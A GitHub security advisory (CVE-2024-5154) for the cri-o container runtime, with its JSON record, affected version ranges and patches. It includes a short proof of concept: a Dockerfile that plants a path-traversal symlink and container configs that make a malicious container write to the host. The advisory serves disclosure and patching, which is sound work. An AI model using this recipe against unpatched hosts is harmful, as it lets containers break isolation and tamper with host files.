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GHSA-J9HF-98C3-WRM8

Vulnerability from github – Published: 2024-06-04 18:12 – Updated: 2025-06-27 22:08
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Summary
malicious container creates symlink "mtab" on the host External
Details

Impact

A malicious container can affect the host by taking advantage of code cri-o added to show the container mounts on the host.

A workload built from this Dockerfile:

FROM docker.io/library/busybox as source
RUN mkdir /extra && cd /extra && ln -s ../../../../../../../../root etc

FROM scratch

COPY --from=source /bin /bin
COPY --from=source /lib /lib
COPY --from=source /extra .

and this container config:

{
  "metadata": {
      "name": "busybox"
  },
  "image":{
      "image": "localhost/test"
  },
  "command": [
      "/bin/true"
  ],
  "linux": {
  }
}

and this sandbox config 

{
  "metadata": {
    "name": "test-sandbox",
    "namespace": "default",
    "attempt": 1,
    "uid": "edishd83djaideaduwk28bcsb"
  },
  "linux": {
    "security_context": {
      "namespace_options": {
        "network": 2
      }
    }
  }
}

will create a file on host /host/mtab

Patches

1.30.1, 1.29.5, 1.28.7

Workarounds

Unfortunately not

References

Are there any links users can visit to find out more?

Severity
8.1 (High)
CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:H/I:H/A:N
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{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/cri-o/cri-o"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.28.6"
            },
            {
              "fixed": "1.28.7"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/cri-o/cri-o"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.29.4"
            },
            {
              "fixed": "1.29.5"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/cri-o/cri-o"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.30.0"
            },
            {
              "fixed": "1.30.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2024-5154"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-22",
      "CWE-668"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2024-06-04T18:12:31Z",
    "nvd_published_at": "2024-06-12T09:15:19Z",
    "severity": "HIGH"
  },
  "details": "### Impact\nA malicious container can affect the host by taking advantage of code cri-o added to show the container mounts on the host.\n\nA workload built from this Dockerfile:\n```\nFROM docker.io/library/busybox as source\nRUN mkdir /extra \u0026\u0026 cd /extra \u0026\u0026 ln -s ../../../../../../../../root etc\n\nFROM scratch\n\nCOPY --from=source /bin /bin\nCOPY --from=source /lib /lib\nCOPY --from=source /extra .\n\n```\n\nand this container config:\n\n```\n{\n  \"metadata\": {\n      \"name\": \"busybox\"\n  },\n  \"image\":{\n      \"image\": \"localhost/test\"\n  },\n  \"command\": [\n      \"/bin/true\"\n  ],\n  \"linux\": {\n  }\n}\n\n\n```\nand this sandbox config  \n```\n{\n  \"metadata\": {\n    \"name\": \"test-sandbox\",\n    \"namespace\": \"default\",\n    \"attempt\": 1,\n    \"uid\": \"edishd83djaideaduwk28bcsb\"\n  },\n  \"linux\": {\n    \"security_context\": {\n      \"namespace_options\": {\n        \"network\": 2\n      }\n    }\n  }\n}\n\n```\n\nwill create a file on host `/host/mtab`\n\n### Patches\n1.30.1, 1.29.5, 1.28.7\n\n### Workarounds\nUnfortunately not\n\n### References\n_Are there any links users can visit to find out more?_",
  "id": "GHSA-j9hf-98c3-wrm8",
  "modified": "2025-06-27T22:08:30Z",
  "published": "2024-06-04T18:12:31Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/cri-o/cri-o/security/advisories/GHSA-j9hf-98c3-wrm8"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-5154"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2024:10818"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2024:3676"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2024:3700"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2024:4008"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2024:4159"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2024:4486"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/security/cve/CVE-2024-5154"
    },
    {
      "type": "WEB",
      "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2280190"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/cri-o/cri-o"
    },
    {
      "type": "WEB",
      "url": "https://pkg.go.dev/vuln/GO-2024-2919"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "malicious container creates symlink \"mtab\" on the host External"
}



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